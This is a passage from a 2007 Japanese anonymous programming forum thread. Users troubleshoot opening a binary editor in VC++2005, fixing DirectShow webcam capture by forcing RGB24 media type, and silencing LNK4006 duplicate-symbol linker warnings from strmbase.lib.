763 名前:デフォルトの名無しさん mailto:sage [2007/03/15(木) 19:08:56 ] vectorあたりでバイナリファイルエディタ探すのが早いんじゃ
764 名前:デフォルトの名無しさん mailto:sage [2007/03/15(木) 19:13:42 ] >>762 どのバージョンかわからんのであれだが、 ファイルメニュー - 開く - ファイル で出たダイアログで ファイルを選択し、開くボタンの右の矢印を押して ファイルを開くアプリケーションの選択からバイナリエディタを選べばいける バージョンによって開き方が違うかも
765 名前:デフォルトの名無しさん mailto:sage [2007/03/15(木) 19:23:39 ] >>764 VC++2005 でバイナリエディタ開けました! ありがとうございます。 >>763 レス d。
766 名前:658 mailto:sage [2007/03/21(水) 14:10:17 ] 向こうでも書きましたが、動きますた。 ご迷惑をおかけしました。 迷惑ついでにもうひとつ質問が。 コンパイル時にLNK 4006のwarningが大量発生するのです。 strmbase.lib(strmiids.obj) : warning LNK4006: _IID_IRegFilterInfo は wcamregister.obj で定義されています; 2 つ目以降の定義は無視されます strmbase.lib(strmiids.obj) : warning LNK4006: _IID_IFilterInfo は wcamregister.obj で定義されています; 2 つ目以降の定義は無視されます strmbase.lib(strmiids.obj) : warning LNK4006: _CLSID_FilgraphManager は wcamregister.obj で定義されています; 2 つ目以降の定義は無視されます strmbase.lib(strmiids.obj) : warning LNK4006: _IID_IQueueCommand は wcamregister.obj で定義されています; 2 つ目以降の定義は無視されます strmbase.lib(strmiids.obj) : warning LNK4006: _IID_IDeferredCommand は wcamregister.obj で定義されています; 2 つ目以降の定義は無視されます といった感じのが1000近く出ます。 動くので問題はないんですが、コンパイル時にウザいので解決したいなーと思った次第です。 どなたか解決方法をご存知の方はいらっしゃいますでしょうか?
767 名前:デフォルトの名無しさん mailto:sage [2007/03/21(水) 14:53:35 ] #pragma warning(disable: 4006)
768 名前:デフォルトの名無しさん mailto:sage [2007/03/21(水) 14:58:28 ] リンクのワーニングにそれ使えるの? >>766 リンク指定してるライブラリを調べてみて。重複してないか?
769 名前:658 mailto:sage [2007/03/21(水) 15:09:23 ] >>767 効かないようです。 >>768 winmm.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib strmbasd.lib 以上がリンクしているライブラリですね。
770 名前:658 mailto:sage [2007/03/21(水) 15:26:06 ] ついでに書くと、strmbasd.libとstrmbase.libをプロジェクトのディレクトリにコピーして使ってます。 それがまずいんでしょうか?
771 名前:658 mailto:sage [2007/03/21(水) 15:45:25 ] strmbase.libがResource Filesに入っていたので外しました。 数が700くらいまで減りましたがまだ大量に発生中です。 www.users.gr.jp/blogs/hidori/archive/2005/02/14/8990.aspx これズバリだと思ってこのとおりに試してもダメでした。 リンク先のmsdnサイトのやり方も試してみましたがダメです。orz.......
772 名前:デフォルトの名無しさん mailto:sage [2007/03/21(水) 16:34:06 ] >>769 それはデフォルトライブラリの使用をありにしたうえで別に指定しているのか?
773 名前:658 [2007/03/21(水) 16:43:51 ] >>772 今出先なんで確認できないんですが、多分デフォルトありにしてます。 帰ったら早速調べてみます。
774 名前:デフォルトの名無しさん mailto:sage [2007/03/21(水) 17:02:25 ] >> 658 > 向こうでも書きましたが、動きますた 原因と問題解決方法と書いておけ。 将来的に同じような所で躓くヤツも居るだろう。
775 名前:658 mailto:sage [2007/03/21(水) 18:13:52 ] >>772 「デフォルトライブラリをすべて無視」にチェック入れても同じ状態(というかリンクエラーが追加される)ですた。 >>774 原因:DVSD形式でデータが流れてくるためDIB形式に変換しようとしたら失敗する。 対処: AM_MEDIA_TYPE amt; ZeroMemory(&amt, sizeof(AM_MEDIA_TYPE)); amt.majortype = MEDIATYPE_Video; amt.subtype = MEDIASUBTYPE_RGB24; amt.formattype = FORMAT_VideoInfo; pGrab -> SetMediaType( &amt ); といった感じで一度RGB24形式に指定してあげた後 pGrab -> GetConnectedMediaType( &amt ); で再度取得する。 というかリンク先のソースをコピペでも動くます。 ttp://wwwdoi.elec.nara-k.ac.jp/html/jisyu/dxm/cap2/index.html CopyMemoryで落ちるとか、ヘッダに書くと動かないってのは謎のままです。orz
776 名前:デフォルトの名無しさん mailto:sage [2007/03/21(水) 18:43:00 ] まとめ 拾って来たソース適当にコピペしたら動きました。 でもワーニング出まくりです。
777 名前:デフォルトの名無しさん mailto:sage [2007/03/21(水) 18:52:44 ] たしか、#defineの具合によって、UUIDが実体化されることがあったはず。 だから、どこでも#defineせずにlibを含めるか、どこか1つの翻訳単位で 実体化させて、UUIDの含まれたlibはリンクしないか、どちから。
778 名前:658 mailto:sage [2007/03/21(水) 20:27:07 ] >>776 まあそれで正解です。w >>777 ちょっと時間ないんで明日にでも試してみます。 777オメ。